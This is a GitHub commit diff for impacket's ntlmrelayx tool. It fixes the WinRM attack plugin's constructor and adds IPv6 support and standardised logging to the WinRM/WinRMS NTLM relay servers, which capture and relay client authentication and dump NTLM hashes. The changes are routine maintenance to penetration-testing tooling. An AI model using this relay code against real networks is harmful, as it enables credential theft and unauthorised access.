Skip to content

Commit 62e2a9a

Browse files
authored
Fixing issue in ntlmrelayx winrmattack & winrm/s relay servers (#2050)
* Fixing issue in ntlmrelayx winrmsattack - Fixed constructor signature * Adding ipv6 support to winrm/s relay servers * Adding enhanced logging support to winrm/s relay servers * Standardizing winrm relay servers log prefix * Standardizing winrm relay servers ntlmrelayx logging enhancements * Setting prefix to some winrm/s log messages that missed it
1 parent 25bf106 commit 62e2a9a

File tree

3 files changed

+57
-81
lines changed

3 files changed

+57
-81
lines changed

impacket/examples/ntlmrelayx/attacks/winrmattack.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -249,8 +249,8 @@ def do_EOF(self, line):
249249
class WINRMAttack(ProtocolAttack):
250250
PLUGIN_NAMES = ["WINRMS"]
251251

252-
def __init__(self, config, WINRMClient, username):
253-
ProtocolAttack.__init__(self, config, WINRMClient, username)
252+
def __init__(self, config, WINRMClient, username, target=None, relay_client=None):
253+
ProtocolAttack.__init__(self, config, WINRMClient, username, target, relay_client)
254254
self.tcp_shell = TcpShell()
255255

256256
def run(self):

impacket/examples/ntlmrelayx/servers/winrmrelayserver.py

Lines changed: 28 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -30,15 +30,15 @@
3030
from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
3131
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
3232
from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
33+
from impacket.examples.utils import get_address
3334

3435
class WinRMRelayServer(Thread):
3536

3637
class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
3738
def __init__(self, server_address, RequestHandlerClass, config):
3839
self.config = config
3940
self.daemon_threads = True
40-
if self.config.ipv6:
41-
self.address_family = socket.AF_INET6
41+
self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)
4242
# Tracks the number of times authentication was prompted for WPAD per client
4343
self.wpad_counters = {}
4444
socketserver.TCPServer.allow_reuse_address = True
@@ -70,23 +70,23 @@ def __init__(self,request, client_address, server):
7070
try:
7171
http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)
7272
except Exception as e:
73-
LOG.debug("Exception:", exc_info=True)
74-
LOG.error(str(e))
73+
LOG.debug("(WinRM): Exception:", exc_info=True)
74+
LOG.error("(WinRM): %s" % str(e))
7575

7676
def handle_one_request(self):
7777
try:
7878
http.server.SimpleHTTPRequestHandler.handle_one_request(self)
7979
except KeyboardInterrupt:
8080
raise
8181
except Exception as e:
82-
LOG.debug("WinRM(%s): Exception:" % self.server.server_address[1], exc_info=True)
82+
LOG.debug("(WinRM): Exception:", exc_info=True)
8383

8484
def log_message(self, format, *args):
8585
return
8686

8787
def send_error(self, code, message=None):
8888
if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):
89-
LOG.info('WinRM(%s): send_error path: %s' % (self.server.server_address[1], self.path.lower()))
89+
LOG.info('(WinRM): send_error path: %s' % self.path.lower())
9090
return self.do_GET()
9191
return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)
9292

@@ -167,7 +167,7 @@ def strip_blob(self, proxy):
167167
_, blob = typeX.split('Negotiate')
168168
token = base64.b64decode(blob.strip())
169169
except Exception:
170-
LOG.debug("Exception:", exc_info=True)
170+
LOG.debug("(WinRM): Exception:", exc_info=True)
171171
self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
172172
else:
173173
messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]
@@ -259,7 +259,7 @@ def do_GETPOST(self):
259259
content_length = int(self.headers.get('Content-Length', 0))
260260
self.rfile.read(content_length)
261261
else:
262-
LOG.info('WinRM(%s): Client requested path: %s' % (self.server.server_address[1], self.path.lower()))
262+
LOG.info('(WinRM): Client requested path: %s' % self.path.lower())
263263
self.send_not_found()
264264
return
265265

@@ -306,7 +306,7 @@ def do_ntlm_negotiate(self, token, proxy):
306306
if self.challengeMessage is False:
307307
return False
308308
else:
309-
LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
309+
LOG.error('(WinRM): Protocol Client for %s not found!' % self.target.scheme.upper())
310310
return False
311311

312312
# Calculate auth
@@ -365,7 +365,7 @@ def do_local_auth(self, messageType, token, proxy):
365365
elif messageType == 3:
366366
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
367367
authenticateMessage.fromString(token)
368-
LOG.info(authenticateMessage)
368+
LOG.info("(WinRM): %s" % authenticateMessage)
369369
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
370370
self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
371371
authenticateMessage['user_name'].decode('utf-16le'))).upper()
@@ -375,13 +375,11 @@ def do_local_auth(self, messageType, token, proxy):
375375

376376
self.target = self.server.config.target.getTarget(identity = self.authUser)
377377
if self.target is None:
378-
LOG.info("WinRM(%s): Connection from %s@%s controlled, but there are no more targets left!" %
379-
(self.server.server_address[1], self.authUser, self.client_address[0]))
378+
LOG.info("(WinRM): Connection from %s@%s controlled, but there are no more targets left!" % (self.authUser, self.client_address[0]))
380379
self.send_not_found()
381380
return
382381

383-
LOG.info("WinRM(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
384-
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
382+
LOG.info("(WinRM): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
385383

386384
self.relayToHost = True
387385
self.do_REDIRECT()
@@ -391,35 +389,29 @@ def do_relay(self, messageType, token, proxy, content = None):
391389
if self.server.config.disableMulti:
392390
self.target = self.server.config.target.getTarget(multiRelay=False)
393391
if self.target is None:
394-
LOG.info("WinRM(%s): Connection from %s controlled, but there are no more targets left!" % (
395-
self.server.server_address[1], self.client_address[0]))
392+
LOG.info("(WinRM): Connection from %s controlled, but there are no more targets left!" % self.client_address[0])
396393
self.send_not_found()
397394
return
398395

399-
LOG.info("WinRM(%s): Connection from %s controlled, attacking target %s://%s" % (
400-
self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))
396+
LOG.info("(WinRM): Connection from %s controlled, attacking target %s://%s" % (self.client_address[0], self.target.scheme, self.target.netloc))
401397

402398
if not self.do_ntlm_negotiate(token, proxy=proxy):
403399
# Connection failed
404400
if self.server.config.disableMulti:
405-
LOG.error('WinRM(%s): Negotiating NTLM with %s://%s failed' % (self.server.server_address[1],
406-
self.target.scheme, self.target.netloc))
401+
LOG.error('(WinRM): Negotiating NTLM with %s://%s failed' % (self.target.scheme, self.target.netloc))
407402
self.send_not_found()
408403
return
409404
else:
410-
LOG.error('WinRM(%s): Negotiating NTLM with %s://%s failed. Skipping to next target' % (
411-
self.server.server_address[1], self.target.scheme, self.target.netloc))
405+
LOG.error('(WinRM): Negotiating NTLM with %s://%s failed. Skipping to next target' % (self.target.scheme, self.target.netloc))
412406

413407
self.target = self.server.config.target.getTarget(identity=self.authUser)
414408

415409
if self.target is None:
416-
LOG.info( "WinRM(%s): Connection from %s@%s controlled, but there are no more targets left!" %
417-
(self.server.server_address[1], self.authUser, self.client_address[0]))
410+
LOG.info("(WinRM): Connection from %s@%s controlled, but there are no more targets left!" % (self.authUser, self.client_address[0]))
418411
self.send_not_found()
419412
return
420413

421-
LOG.info("WinRM(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
422-
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
414+
LOG.info("(WinRM): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
423415

424416
self.do_REDIRECT()
425417

@@ -438,7 +430,7 @@ def do_relay(self, messageType, token, proxy, content = None):
438430
target = '%s://%s@%s' % (self.target.scheme, self.authUser.replace("/", '\\'), self.target.netloc)
439431

440432
if not self.do_ntlm_auth(token, authenticateMessage):
441-
LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
433+
LOG.error("(WinRM): Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc,
442434
self.authUser))
443435
if self.server.config.disableMulti:
444436
self.send_not_found()
@@ -449,22 +441,20 @@ def do_relay(self, messageType, token, proxy, content = None):
449441
# No anonymous login, go to next host and avoid triggering a popup
450442
self.target = self.server.config.target.getTarget(identity=self.authUser)
451443
if self.target is None:
452-
LOG.info("WinRM(%s): Connection from %s@%s controlled, but there are no more targets left!" %
453-
(self.server.server_address[1], self.authUser, self.client_address[0]))
444+
LOG.info("(WinRM): Connection from %s@%s controlled, but there are no more targets left!" % (self.authUser, self.client_address[0]))
454445
self.send_not_found()
455446
return
456447

457-
LOG.info("WinRM(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
458-
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
448+
LOG.info("(WinRM): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
459449

460450
self.do_REDIRECT()
461451
else:
462452
# If it was an anonymous login, send 401
463453
self.do_AUTHHEAD(b'Negotiate', proxy=proxy)
464454
else:
465455
# Relay worked, do whatever we want here...
466-
LOG.info("WinRM(%s): Authenticating against %s://%s as %s SUCCEED" % (self.server.server_address[1],
467-
self.target.scheme, self.target.netloc, self.authUser))
456+
self.client.setClientId()
457+
LOG.info("(WinRM): Authenticating connection from %s@%s against %s://%s SUCCEED [%s]" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))
468458

469459
ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
470460
authenticateMessage['user_name'],
@@ -477,7 +467,7 @@ def do_relay(self, messageType, token, proxy, content = None):
477467
self.server.config.outputFile)
478468

479469
if self.server.config.dumpHashes is True:
480-
LOG.info(ntlm_hash_data['hash_string'])
470+
LOG.info("(WinRM): %s" % ntlm_hash_data['hash_string'])
481471

482472
self.do_attack()
483473

@@ -493,8 +483,7 @@ def do_relay(self, messageType, token, proxy, content = None):
493483
self.target = self.server.config.target.getTarget(identity=self.authUser)
494484

495485
if self.target is None:
496-
LOG.info("WinRM(%s): Connection from %s@%s controlled, but there are no more targets left!" % (
497-
self.server.server_address[1], self.authUser, self.client_address[0]))
486+
LOG.info("(WinRM): Connection from %s@%s controlled, but there are no more targets left!" % (self.authUser, self.client_address[0]))
498487

499488
# Return Multi-Status status code to WebDAV servers
500489
if self.command == "PROPFIND":
@@ -511,8 +500,7 @@ def do_relay(self, messageType, token, proxy, content = None):
511500
return
512501

513502
# We have the next target, let's keep relaying...
514-
LOG.info("WinRM(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.server.server_address[1],
515-
self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
503+
LOG.info("(WinRM): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser, self.client_address[0], self.target.scheme, self.target.netloc))
516504
self.do_REDIRECT()
517505

518506
def do_attack(self):
@@ -527,10 +515,10 @@ def do_attack(self):
527515
if self.target.scheme.upper() in self.server.config.attacks:
528516
# We have an attack.. go for it
529517
clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config, self.client.session,
530-
self.authUser)
518+
self.authUser, self.target, self.client)
531519
clientThread.start()
532520
else:
533-
LOG.error('WinRM(%s): No attack configured for %s' % (self.server.server_address[1], self.target.scheme.upper()))
521+
LOG.error('(WinRM): No attack configured for %s' % self.target.scheme.upper())
534522

535523
def __init__(self, config):
536524
Thread.__init__(self)

0 commit comments

Comments
 (0)